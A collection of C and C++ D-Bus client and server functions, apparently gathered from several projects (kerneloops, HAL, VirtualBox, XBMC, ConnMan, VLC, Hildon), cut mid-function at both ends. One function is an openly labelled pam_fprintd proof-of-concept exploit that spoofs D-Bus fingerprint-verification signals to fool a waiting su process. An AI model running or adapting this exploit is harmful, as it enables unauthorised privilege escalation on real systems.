* will not use http at all, but the curl code does consume
* memory.
*/
/*
curl_global_init(CURL_GLOBAL_ALL);
*/
if (godaemon && daemon(0, 0)) {
printf("kerneloops failed to daemonize.. exiting \n");
return EXIT_FAILURE;
}
sched_yield();
loop = g_main_loop_new(NULL, FALSE);
dbus_error_init(&error);
bus = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
if (bus) {
dbus_connection_setup_with_g_main(bus, NULL);
dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.ping'", &error);
dbus_bus_add_match(bus, "type='signal',interface='org.kerneloops.submit.permission'", &error);
dbus_connection_add_filter(bus, got_message, NULL, NULL);
}
/* we scan dmesg before /var/log/messages; dmesg is a more accurate source normally */
scan_dmesg(NULL);
/* during boot... don't go too fast and slow the system down */
if (!testmode)
sleep(10);
scan_filename(log_file, 1);
if (argc > 2 && strstr(argv[1], "--file"))
scan_filename(argv[2], 1);
if (testmode && argc > 2) {
int q;
for (q = 2; q < argc; q++) {
printf("Scanning %s\n", argv[q]);
scan_filename(argv[q], 0);
}
}
if (testmode) {
g_main_loop_unref(loop);
dbus_bus_remove_match(bus, "type='signal',interface='org.kerneloops.submit.ping'", &error);
dbus_bus_remove_match(bus, "type='signal',interface='org.kerneloops.submit.permission'", &error);
free(submit_url);
return EXIT_SUCCESS;
}
/* now, start polling for oopses to occur */
g_timeout_add_seconds(10, scan_dmesg, NULL);
g_main_loop_run(loop);
dbus_bus_remove_match(bus, "type='signal',interface='org.kerneloops.submit.ping'", &error);
dbus_bus_remove_match(bus, "type='signal',interface='org.kerneloops.submit.permission'", &error);
g_main_loop_unref(loop);
free(submit_url);
return EXIT_SUCCESS;
}
int main(int argc, char **argv)
{
DBusConnection *conn;
DBusMessage *msg;
DBusMessageIter args;
DBusPendingCall* pending;
DBusError err;
dbus_uint32_t serial = 0; // unique number to associate replies with requests
int current_type;
char *buf, *retek;
int val, type;
dbus_uint32_t level;
int ret;
dbus_error_init(&err);
// connect to the bus
conn = dbus_bus_get(DBUS_BUS_SESSION, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, " [+] Connection Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (NULL == conn) {
return 1;
}
// create a signal and check for errors
msg = dbus_message_new_method_call("org.freedesktop.im", // target for the method call
"/dupa/dupa", // object to call on
"org.freedesktop.im", // interface to call on
"getProtocols"); // method name
if (NULL == msg)
{
fprintf(stderr, "Message Null\n");
return 1;
}
// append arguments onto signal
// dbus_message_iter_init_append(msg, &args);
/*
buf = strdup("super tajne dane!");
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &buf)) {
fprintf(stderr, "Out Of Memory!\n");
return 1;
}
free(buf);
val = 666;
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_INT32, &val)) {
fprintf(stderr, "Out Of Memory!\n");
return 1;
}*/
// send message and get a handle for a reply
if (!dbus_connection_send_with_reply (conn, msg, &pending, -1)) { // -1 is default timeout
fprintf(stderr, "Out Of Memory!\n");
return (1);
}
if (NULL == pending) {
fprintf(stderr, "Pending Call Null\n");
return (1);
}
dbus_connection_flush(conn);
printf("Request Sent\n");
// free message
dbus_message_unref(msg);
// block until we recieve a reply
dbus_pending_call_block(pending);
// get the reply message
msg = dbus_pending_call_steal_reply(pending);
if (NULL == msg) {
fprintf(stderr, "Reply Null\n");
return (1);
}
// free the pending message handle
dbus_pending_call_unref(pending);
dbus_message_iter_init (msg, &args);
while ((type = dbus_message_iter_get_arg_type(&args)) != DBUS_TYPE_INVALID)
{
if (DBUS_TYPE_STRING == type)
{
dbus_message_iter_get_basic(&args, &retek);
fprintf(stderr, "blink: %s\n", retek);
}
dbus_message_iter_next (&args);
}
// free reply and close connection
dbus_message_unref(msg);
dbus_connection_close(conn);
/*
// send the message and flush the connection
if (!dbus_connection_send(conn, msg, &serial)) {
fprintf(stderr, "Out Of Memory!\n");
return 1;
}
dbus_connection_flush(conn);
// free the message
dbus_message_unref(msg);
dbus_connection_close(conn);*/
return 0;
}
int main(int argc, char **argv)
{
DBusMessage *l_msg;
DBusConnection *l_conn;
DBusError l_err;
int l_ret;
printf("Listening for method calls!%s","\n");
// initialise the error
dbus_error_init(&l_err);
// connect to the bus and check for errors
l_conn = dbus_bus_get(DBUS_BUS_SYSTEM, &l_err);
if (dbus_error_is_set(&l_err)) {
printf("Connection Error (%s)\n",l_err.message);
dbus_error_free(&l_err);
}
if (NULL == l_conn) {
printf("Connection Null!\n");
exit(1);
}
// request our name on the bus and check for errors
l_ret = dbus_bus_request_name(l_conn,
"org.GENIVI.std_intf_test",
DBUS_NAME_FLAG_REPLACE_EXISTING,
&l_err);
if (dbus_error_is_set(&l_err)) {
printf("Name Error (%s)\n",l_err.message);
dbus_error_free(&l_err);
}
if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != l_ret) {
printf("Not Primary Owner (%d)\n", l_ret);
exit(1);
}
// infinite loop, testing for new messages
while (1) {
dbus_connection_read_write(l_conn, 0);
// non blocking read of the next available message
l_msg = dbus_connection_pop_message(l_conn);
// loop again if we haven't got a message
if (NULL == l_msg) {
sleep(1);
continue;
}
// Exposing standard interface and methods
if (dbus_message_is_method_call(l_msg,
"org.freedesktop.DBus.Introspectable",
"Introspect")) {
ReplyToIntrospect(l_msg, l_conn);
}
else if (dbus_message_is_method_call(l_msg,
"org.freedesktop.DBus.Peer",
"Ping")) {
if (gReplyToPing < 3){
gReplyToPing ++;
ReplyToPing(l_msg, l_conn);
}else{
syslog(LOG_INFO,"[_DBUS_PING_TIMEOUT_] Closing app %s with pid %d...\n", argv[0], getpid());
}
}
else {
printf ("Unknown method called\n");
}
// free the message
dbus_message_unref(l_msg);
}
dbus_connection_flush(l_conn);
return 0;
}
int
main (int argc, char *argv[])
{
DBusConnection *connection;
DBusError error;
DBusBusType type = DBUS_BUS_SESSION;
DBusHandleMessageFunction filter_func = monitor_filter_func;
int i = 0, j = 0, numFilters = 0;
char **filters = NULL;
for (i = 1; i < argc; i++)
{
char *arg = argv[i];
if (!strcmp (arg, "--system"))
type = DBUS_BUS_SYSTEM;
else if (!strcmp (arg, "--session"))
type = DBUS_BUS_SESSION;
else if (!strcmp (arg, "--help"))
usage (argv[0], 0);
else if (!strcmp (arg, "--monitor"))
filter_func = monitor_filter_func;
else if (!strcmp (arg, "--profile"))
filter_func = profile_filter_func;
else if (!strcmp (arg, "--"))
continue;
else if (arg[0] == '-')
usage (argv[0], 1);
else {
numFilters++;
filters = (char **)realloc(filters, numFilters * sizeof(char *));
filters[j] = (char *)malloc((strlen(arg) + 1) * sizeof(char *));
snprintf(filters[j], strlen(arg) + 1, "%s", arg);
j++;
}
}
dbus_error_init (&error);
connection = dbus_bus_get (type, &error);
if (connection == NULL)
{
fprintf (stderr, "Failed to open connection to %s message bus: %s\n",
(type == DBUS_BUS_SYSTEM) ? "system" : "session",
error.message);
dbus_error_free (&error);
exit (1);
}
if (numFilters)
{
for (i = 0; i < j; i++)
{
dbus_bus_add_match (connection, filters[i], &error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "Failed to setup match \"%s\": %s\n",
filters[i], error.message);
dbus_error_free (&error);
exit (1);
}
free(filters[i]);
}
}
else
{
dbus_bus_add_match (connection,
"type='signal'",
&error);
if (dbus_error_is_set (&error))
goto lose;
dbus_bus_add_match (connection,
"type='method_call'",
&error);
if (dbus_error_is_set (&error))
goto lose;
dbus_bus_add_match (connection,
"type='method_return'",
&error);
if (dbus_error_is_set (&error))
goto lose;
dbus_bus_add_match (connection,
"type='error'",
&error);
if (dbus_error_is_set (&error))
goto lose;
}
if (!dbus_connection_add_filter (connection, filter_func, NULL, NULL)) {
fprintf (stderr, "Couldn't add filter!\n");
exit (1);
}
/* we handle SIGINT so exit() is reached and flushes stdout */
signal (SIGINT, sigint_handler);
while (dbus_connection_read_write_dispatch(connection, -1)
&& !sigint_received)
;
exit (0);
lose:
fprintf (stderr, "Error: %s\n", error.message);
exit (1);
}
int
main(int argc, char **argv)
{
DBusError error;
DBusConnection *conn;
LibHalContext *hal_ctx;
int err;
int c;
int all = 0;
int list = 0;
int dev = 0;
char *dev_name;
if (argc < 2) {
return (0);
}
while ((c = getopt(argc, argv, "ald:")) != EOF) {
switch (c) {
case 'a':
all = 1;
break;
case 'l':
list = 1;
break;
case 'd':
dev = 1;
dev_name = optarg;
break;
default:
exit(1);
}
}
dbus_error_init(&error);
if (!(conn = dbus_bus_get(DBUS_BUS_SYSTEM, &error))) {
fprintf(stderr, "error: dbus_bus_get: %s: %s\n",
error.name, error.message);
LIBHAL_FREE_DBUS_ERROR(&error);
return (2);
}
if (!(hal_ctx = libhal_ctx_new())) {
return (3);
}
if (!libhal_ctx_set_dbus_connection(hal_ctx, conn)) {
return (4);
}
if (!libhal_ctx_init(hal_ctx, &error)) {
if (dbus_error_is_set(&error)) {
fprintf(stderr, "error: libhal_ctx_init: %s: %s\n",
error.name, error.message);
LIBHAL_FREE_DBUS_ERROR(&error);
}
fprintf(stderr, "Could not initialise connection to hald.\n"
"Normally this means the HAL daemon (hald) is not running or not ready.\n");
return (5);
}
err = 0;
if (list) {
err = list_battery_devices(hal_ctx);
}
if (all) {
err = dump_all_devices(hal_ctx);
}
if (dev) {
err = dump_device(hal_ctx, dev_name);
}
libhal_ctx_shutdown(hal_ctx, &error);
libhal_ctx_free(hal_ctx);
dbus_connection_unref(conn);
dbus_error_free(&error);
return (err);
}
int main(int argc, char **argv)
{
DBusError err;
DBusConnection *conn = NULL;
DBusMessage *vrfy_msg = NULL, *noc_msg = NULL, *nl_msg = NULL, *reply = NULL;
dbus_uint32_t serial = 0;
dbus_bool_t t = 1;
int un = 0, i = 0, reply_to = -1;
const char *vrfy_match = "verify-match", *cname = NULL,
*name = "net.reactivated.Fprint", *prev_owner = NULL;
char dest[32];
/* override unique name of net.reactivated.Fprint */
if (argc > 1)
prev_owner = strdup(argv[1]);
printf("\n[**] darklena, pam_fprintd PoC exploit 2013\n\n");
printf("[*] Initializing DBUS ...\n");
dbus_error_init(&err);
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Error: %s\n", err.message);
die("dbus_error_is_set");
}
if ((cname = dbus_bus_get_unique_name(conn)) == NULL)
die("dbus_bus_get_unique_name");
un = atoi(strchr(cname, '.') + 1);
printf("[+] Done. Found my unique name: %s (%d)\n", cname, un);
if (!prev_owner) {
printf("[*] Trying to find unique name of '%s' ...\n", name);
nl_msg = dbus_message_new_method_call("org.freedesktop.DBus",
"/org/freedesktop/DBus",
"org.freedesktop.DBus",
"GetNameOwner");
if (!dbus_message_append_args(nl_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args");
reply = dbus_connection_send_with_reply_and_block(conn, nl_msg, reply_to, &err);
dbus_message_unref(nl_msg);
if (dbus_error_is_set(&err)) {
fprintf (stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_connection_send_with_reply_and_block");
}
if (!dbus_message_get_args(reply, &err,
DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_INVALID)) {
fprintf(stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_message_get_args");
}
dbus_message_unref(reply);
}
printf("[+] Found unique name of '%s' as '%s'\n", name, prev_owner);
for (i = 1; i < 20; ++i) {
/* spoof a NameOwnerChanged signal */
noc_msg = dbus_message_new_signal("/org/freedesktop/DBus",
"org.freedesktop.DBus",
"NameOwnerChanged");
/* spoof a VerifyStatus */
vrfy_msg = dbus_message_new_signal("/net/reactivated/Fprint/Device/0",
"net.reactivated.Fprint.Device",
"VerifyStatus");
if (!vrfy_msg || !noc_msg)
die("[-] dbus_message_new_signal");
if (!dbus_message_append_args(noc_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_STRING,
&prev_owner, DBUS_TYPE_STRING, &cname, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args1");
if (!dbus_message_append_args(vrfy_msg, DBUS_TYPE_STRING, &vrfy_match,
DBUS_TYPE_BOOLEAN, &t, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args2");
/* iterate over unique names short below under our own
* to hit the previously started su
*/
snprintf(dest, sizeof(dest), ":1.%d", un - i);
printf("[*] Using new destination: %s\n", dest);
if (!dbus_message_set_destination(vrfy_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_message_set_destination(noc_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_connection_send(conn, noc_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
usleep(1000);
if (!dbus_connection_send(conn, vrfy_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
dbus_message_unref(vrfy_msg);
dbus_message_unref(noc_msg);
}
printf("\n[**] Here comes the pain! (but no one's to too innocent to die)\n");
return 0;
}
int
main (int argc, char *argv[])
{
DBusConnection *conn[NUM_CONN];
DBusConnection *monitor;
DBusError error;
int i;
int test_data_len;
test_data_len = sizeof (test_data) / sizeof (CommandAndResult);
dbus_error_init (&error);
conn[0] = dbus_bus_get_private (DBUS_BUS_SESSION, &error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "*** Failed to open connection 0 to session bus: %s\n",
error.message);
dbus_error_free (&error);
return 1;
}
if (!match_acquired_or_lost_signal (conn[0],
"NameAcquired",
dbus_bus_get_unique_name (conn[0])))
return 1;
conn[1] = dbus_bus_get_private (DBUS_BUS_SESSION, &error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "*** Failed to open connection 1 to session bus: %s\n",
error.message);
dbus_error_free (&error);
return 1;
}
if (!match_acquired_or_lost_signal (conn[1],
"NameAcquired",
dbus_bus_get_unique_name (conn[1])))
return 1;
conn[2] = dbus_bus_get_private (DBUS_BUS_SESSION, &error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "*** Failed to open connection 2 to session bus: %s\n",
error.message);
dbus_error_free (&error);
return 1;
}
if (!match_acquired_or_lost_signal (conn[2],
"NameAcquired",
dbus_bus_get_unique_name (conn[2])))
return 1;
conn[3] = dbus_bus_get_private (DBUS_BUS_SESSION, &error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "*** Failed to open connection 3 to session bus: %s\n",
error.message);
dbus_error_free (&error);
return 1;
}
if (!match_acquired_or_lost_signal (conn[3],
"NameAcquired",
dbus_bus_get_unique_name (conn[3])))
return 1;
monitor = dbus_bus_get (DBUS_BUS_SESSION, &error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "*** Failed to open monitoring connection to session bus: %s\n",
error.message);
dbus_error_free (&error);
return 1;
}
if (!match_acquired_or_lost_signal (monitor,
"NameAcquired",
dbus_bus_get_unique_name (monitor)))
return 1;
dbus_bus_add_match (monitor, "", &error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "*** Failed to set filter on monitoring connection: %s\n",
error.message);
dbus_error_free (&error);
return 1;
}
for (i = 0; i < NUM_CONN; i++)
dbus_connection_set_exit_on_disconnect (conn[i], FALSE);
for (i = 0; i < test_data_len; i++)
{
dbus_uint32_t result;
result = 0;
if (test_data[i].command == ADD_CONNECTION)
{
result = dbus_bus_request_name (conn[test_data[i].connection_number],
TEST_NAME,
test_data[i].flags,
&error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "Error on addition in iteration %i: %s\n", i, error.message);
dbus_error_free (&error);
return 1;
}
}
else if (test_data[i].command == REMOVE_CONNECTION)
{
result = dbus_bus_release_name (conn[test_data[i].connection_number],
TEST_NAME,
&error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "*** Failed to remove connection %i in iteration %i: %s\n",
test_data[i].connection_number,
i,
error.message);
dbus_error_free (&error);
return 1;
}
}
else
{
fprintf (stderr, "Command #%i not a valid command!\n", test_data[i].command);
return 1;
}
if (result != test_data[i].expected_result)
{
fprintf (stderr, "Results recived (%i) are not the expected results (%i) in iteration %i\n",
result,
test_data[i].expected_result,
i);
return 1;
}
if (!check_connection (monitor, i, conn))
{
fprintf (stderr, "Failed at iteration %i\n", i);
return 1;
}
if (!check_signals (monitor, i, conn))
{
fprintf (stderr, "Failed at iteration %i\n", i);
return 1;
}
}
return 0;
}
static int showNotify(const char *pcHeader, const char *pcBody)
{
int rc;
# ifdef VBOX_WITH_DBUS
DBusConnection *conn;
DBusMessage* msg = NULL;
conn = dbus_bus_get (DBUS_BUS_SESSION, NULL);
if (conn == NULL)
{
LogRelFlowFunc(("Could not retrieve D-BUS session bus!\n"));
rc = VERR_INVALID_HANDLE;
}
else
{
msg = dbus_message_new_method_call("org.freedesktop.Notifications",
"/org/freedesktop/Notifications",
"org.freedesktop.Notifications",
"Notify");
if (msg == NULL)
{
LogRel(("Could not create D-BUS message!\n"));
rc = VERR_INVALID_HANDLE;
}
else
rc = VINF_SUCCESS;
}
if (RT_SUCCESS(rc))
{
uint32_t msg_replace_id = 0;
const char *msg_app = "VBoxClient";
const char *msg_icon = "";
const char *msg_summary = pcHeader;
const char *msg_body = pcBody;
int32_t msg_timeout = -1; /* Let the notification server decide */
DBusMessageIter iter;
DBusMessageIter array;
DBusMessageIter dict;
DBusMessageIter value;
DBusMessageIter variant;
DBusMessageIter data;
/* Format: UINT32 org.freedesktop.Notifications.Notify
* (STRING app_name, UINT32 replaces_id, STRING app_icon, STRING summary, STRING body,
* ARRAY actions, DICT hints, INT32 expire_timeout)
*/
dbus_message_iter_init_append(msg,&iter);
dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&msg_app);
dbus_message_iter_append_basic(&iter,DBUS_TYPE_UINT32,&msg_replace_id);
dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&msg_icon);
dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&msg_summary);
dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&msg_body);
dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,DBUS_TYPE_STRING_AS_STRING,&array);
dbus_message_iter_close_container(&iter,&array);
dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,"{sv}",&array);
dbus_message_iter_close_container(&iter,&array);
dbus_message_iter_append_basic(&iter,DBUS_TYPE_INT32,&msg_timeout);
DBusError err;
dbus_error_init(&err);
DBusMessage *reply;
reply = dbus_connection_send_with_reply_and_block(conn, msg,
30 * 1000 /* 30 seconds timeout */, &err);
if (dbus_error_is_set(&err))
{
LogRel(("D-BUS returned an error while sending the notification: %s", err.message));
}
else if (reply)
{
dbus_connection_flush(conn);
dbus_message_unref(reply);
}
if (dbus_error_is_set(&err))
dbus_error_free(&err);
}
if (msg != NULL)
dbus_message_unref(msg);
# else
/* TODO: Implement me */
rc = VINF_SUCCESS;
# endif /* VBOX_WITH_DBUS */
return rc;
}
bool CHALManager::Mount(CStorageDevice *volume, CStdString mountpath)
{
CLog::Log(LOGNOTICE, "HAL: Mounting %s (%s) at %s with umask=%u", volume->UDI.c_str(), volume->toString().c_str(), mountpath.c_str(), umask (0));
DBusMessage* msg;
DBusMessageIter args;
DBusError error;
dbus_error_init (&error);
DBusConnection *connection = dbus_bus_get (DBUS_BUS_SYSTEM, &error);
const char *s;
if (connection)
{
msg = dbus_message_new_method_call("org.freedesktop.Hal", volume->UDI.c_str(), "org.freedesktop.Hal.Device.Volume", "Mount");
dbus_message_iter_init_append(msg, &args);
s = mountpath.c_str();
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &s))
CLog::Log(LOGERROR, "DBus: Failed to append arguments");
s = ""; //FileSystem
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &s))
CLog::Log(LOGERROR, "DBus: Failed to append arguments");
DBusMessageIter sub;
dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, DBUS_TYPE_STRING_AS_STRING, &sub);
CStdString temporaryString;
if (volume->FileSystem.Equals("vfat"))
{
int mask = umask (0);
temporaryString.Format("umask=%#o", mask);
s = temporaryString.c_str();
dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
temporaryString.Format("uid=%u", getuid());
s = temporaryString.c_str();
dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
s = "shortname=mixed";
dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
s = "utf8";
dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
// 'sync' option will slow down transfer speed significantly for FAT filesystems. We prefer 'flush' instead.
s = "flush";
dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
}
else
{
s = "sync";
dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &s);
}
dbus_message_iter_close_container(&args, &sub);
if (msg == NULL)
CLog::Log(LOGERROR, "DBus: Create Mount Message failed");
else
{
DBusMessage *reply;
reply = dbus_connection_send_with_reply_and_block(connection, msg, -1, &error); //The reply timout might be bad to have as -1
if (dbus_error_is_set(&error))
{
CLog::Log(LOGERROR, "DBus: %s - %s", error.name, error.message);
dbus_error_free(&error);
return false;
}
// Need to create a reader for the Message
dbus_message_unref (reply);
dbus_message_unref(msg);
msg = NULL;
}
volume->Mounted = true;
volume->MountedByXBMC = true;
volume->MountPoint = mountpath;
dbus_connection_unref(connection);
connection = NULL;
return true;
}
else
{
CLog::Log(LOGERROR, "DBus: Failed to connect to Systembus");
dbus_error_free(&error);
return false;
}
}
int main(int argc, char *argv[])
{
DBusConnection *conn;
DBusError error;
DBusMessage *msg;
DBusMessageIter iter, dict;
char **envp, *busname, *reason, *interface, *path;
busname = getenv("CONNMAN_BUSNAME");
interface = getenv("CONNMAN_INTERFACE");
path = getenv("CONNMAN_PATH");
reason = getenv("reason");
if (!busname || !interface || !path || !reason) {
fprintf(stderr, "Required environment variables not set\n");
return 1;
}
if (strcmp(reason, "pre-init") == 0)
return 0;
dbus_error_init(&error);
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
if (conn == NULL) {
if (dbus_error_is_set(&error) == TRUE) {
fprintf(stderr, "%s\n", error.message);
dbus_error_free(&error);
} else
fprintf(stderr, "Failed to get on system bus\n");
return 0;
}
msg = dbus_message_new_method_call(busname, path,
interface, "notify");
if (msg == NULL) {
dbus_connection_unref(conn);
fprintf(stderr, "Failed to allocate method call\n");
return 0;
}
dbus_message_set_no_reply(msg, TRUE);
dbus_message_append_args(msg,
DBUS_TYPE_STRING, &reason,
DBUS_TYPE_INVALID);
dbus_message_iter_init_append(msg, &iter);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING
DBUS_TYPE_STRING_AS_STRING DBUS_TYPE_STRING_AS_STRING
DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &dict);
for (envp = environ; envp && *envp; envp++)
append(&dict, *envp);
dbus_message_iter_close_container(&iter, &dict);
if (dbus_connection_send(conn, msg, NULL) == FALSE)
fprintf(stderr, "Failed to send message\n");
dbus_connection_flush(conn);
dbus_message_unref(msg);
dbus_connection_unref(conn);
return 0;
}
void broadcast_and_wait_response(char* server_name) {
DBusMessage* msg;
DBusMessageIter args;
DBusConnection* conn;
DBusError err;
DBusPendingCall* pending;
int ret;
char *stat;
dbus_uint32_t level;
// printf("broadcast_and_wait_response-----Calling remote method\n");
// initialiset the errors
dbus_error_init(&err);
// connect to the system bus and check for errors
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Connection Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (NULL == conn) {
exit(1);
}
// request our name on the bus
ret = dbus_bus_request_name(conn, "test.method.caller", DBUS_NAME_FLAG_REPLACE_EXISTING, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Name Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
exit(1);
}
char name_[50];
sprintf(name_,"test.method.%s",server_name);
// create a new method call and check for errors
msg = dbus_message_new_method_call(name_, // target for the method call
"/test/method/Object", // object to call on
"test.method.Type", // interface to call on
"Method"); // method name
if (NULL == msg) {
fprintf(stderr, "Message Null\n");
exit(1);
}
char *param = "hello hanmeimei..";
// append arguments
dbus_message_iter_init_append(msg, &args);
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, ¶m)) {
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
// send message and get a handle for a reply
if (!dbus_connection_send_with_reply(conn, msg, &pending, -1)) { // -1 is default timeout
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
if (NULL == pending) {
fprintf(stderr, "Pending Call Null\n");
exit(1);
}
dbus_connection_flush(conn);
// free message
dbus_message_unref(msg);
// printf("broadcast_and_wait_response-----...............wait........\n");
// block until we recieve a reply
dbus_pending_call_block(pending);
// printf("broadcast_and_wait_response-----now reply........come in..\n");
// get the reply message
msg = dbus_pending_call_steal_reply(pending);
if (NULL == msg) {
fprintf(stderr, "Reply Null\n");
exit(1);
}
// free the pending message handle
dbus_pending_call_unref(pending);
stat = (char*)malloc(128);
// read the parameters
if (!dbus_message_iter_init(msg, &args))
fprintf(stderr, "Message has no arguments!\n");
else if (DBUS_TYPE_STRING != dbus_message_iter_get_arg_type(&args))
fprintf(stderr, "Argument is not string!\n");
else
dbus_message_iter_get_basic(&args, &stat);
if (!dbus_message_iter_next(&args))
fprintf(stderr, "Message has too few arguments!\n");
else if (DBUS_TYPE_UINT32 != dbus_message_iter_get_arg_type(&args))
fprintf(stderr, "Argument is not int!\n");
else
dbus_message_iter_get_basic(&args, &level);
// printf("broadcast_and_wait_response----Got Reply: %s, %d\n", stat, level);
printf("%s, %d\n", stat, level);
// free reply and close connection
dbus_message_unref(msg);
// dbus_connection_close(conn);
}
static int Open( vlc_object_t *p_this )
{ /* initialisation of the connection */
intf_thread_t *p_intf = (intf_thread_t*)p_this;
intf_sys_t *p_sys = malloc( sizeof( intf_sys_t ) );
playlist_t *p_playlist;
DBusConnection *p_conn;
DBusError error;
if( !p_sys )
return VLC_ENOMEM;
p_sys->b_meta_read = false;
p_sys->i_caps = CAPS_NONE;
p_sys->b_dead = false;
dbus_error_init( &error );
/* connect to the session bus */
p_conn = dbus_bus_get( DBUS_BUS_SESSION, &error );
if( !p_conn )
{
msg_Err( p_this, "Failed to connect to the D-Bus session daemon: %s",
error.message );
dbus_error_free( &error );
free( p_sys );
return VLC_EGENERIC;
}
/* register a well-known name on the bus */
dbus_bus_request_name( p_conn, VLC_MPRIS_DBUS_SERVICE, 0, &error );
if( dbus_error_is_set( &error ) )
{
msg_Err( p_this, "Error requesting service " VLC_MPRIS_DBUS_SERVICE
": %s", error.message );
dbus_error_free( &error );
free( p_sys );
return VLC_EGENERIC;
}
/* we register the objects */
dbus_connection_register_object_path( p_conn, MPRIS_DBUS_ROOT_PATH,
&vlc_dbus_root_vtable, p_this );
dbus_connection_register_object_path( p_conn, MPRIS_DBUS_PLAYER_PATH,
&vlc_dbus_player_vtable, p_this );
dbus_connection_register_object_path( p_conn, MPRIS_DBUS_TRACKLIST_PATH,
&vlc_dbus_tracklist_vtable, p_this );
dbus_connection_flush( p_conn );
p_intf->pf_run = Run;
p_intf->p_sys = p_sys;
p_sys->p_conn = p_conn;
p_sys->p_events = vlc_array_new();
vlc_mutex_init( &p_sys->lock );
p_playlist = pl_Hold( p_intf );
PL_LOCK;
var_AddCallback( p_playlist, "item-current", AllCallback, p_intf );
var_AddCallback( p_playlist, "intf-change", AllCallback, p_intf );
var_AddCallback( p_playlist, "playlist-item-append", AllCallback, p_intf );
var_AddCallback( p_playlist, "playlist-item-deleted", AllCallback, p_intf );
var_AddCallback( p_playlist, "random", AllCallback, p_intf );
var_AddCallback( p_playlist, "repeat", AllCallback, p_intf );
var_AddCallback( p_playlist, "loop", AllCallback, p_intf );
PL_UNLOCK;
pl_Release( p_intf );
UpdateCaps( p_intf );
return VLC_SUCCESS;
}
static void
hd_hildon_home_dbus_init (HDHildonHomeDBus *dbus)
{
HDHildonHomeDBusPrivate *priv;
DBusGProxy *bus_proxy;
GError *error = NULL;
guint result;
DBusError derror;
priv = dbus->priv = HD_HILDON_HOME_DBUS_GET_PRIVATE (dbus);
dbus->priv->connection = dbus_g_bus_get (DBUS_BUS_SESSION, &error);
if (error != NULL)
{
g_warning ("Failed to open connection to session bus: %s\n",
error->message);
g_error_free (error);
return;
}
dbus_error_init (&derror);
dbus->priv->sysbus_conn = dbus_bus_get (DBUS_BUS_SYSTEM, &derror);
if (dbus_error_is_set (&derror))
{
g_warning ("Failed to open connection to system bus: %s\n",
derror.message);
dbus_error_free (&derror);
return;
}
bus_proxy = dbus_g_proxy_new_for_name (dbus->priv->connection,
DBUS_SERVICE_DBUS,
DBUS_PATH_DBUS,
DBUS_INTERFACE_DBUS);
if (!org_freedesktop_DBus_request_name (bus_proxy,
HD_HILDON_HOME_DBUS_DBUS_NAME,
DBUS_NAME_FLAG_ALLOW_REPLACEMENT |
DBUS_NAME_FLAG_REPLACE_EXISTING |
DBUS_NAME_FLAG_DO_NOT_QUEUE,
&result,
&error))
{
g_warning ("Could not register name: %s", error->message);
g_error_free (error);
return;
}
g_object_unref (bus_proxy);
if (result == DBUS_REQUEST_NAME_REPLY_EXISTS) return;
dbus_g_object_type_install_info (HD_TYPE_HILDON_HOME_DBUS,
&dbus_glib_hd_hildon_home_dbus_object_info);
dbus_g_connection_register_g_object (dbus->priv->connection,
HD_HILDON_HOME_DBUS_DBUS_PATH,
G_OBJECT (dbus));
g_debug ("%s registered to session bus at %s", HD_HILDON_HOME_DBUS_DBUS_NAME, HD_HILDON_HOME_DBUS_DBUS_PATH);
dbus->priv->hd_home_proxy = dbus_g_proxy_new_for_name (dbus->priv->connection,
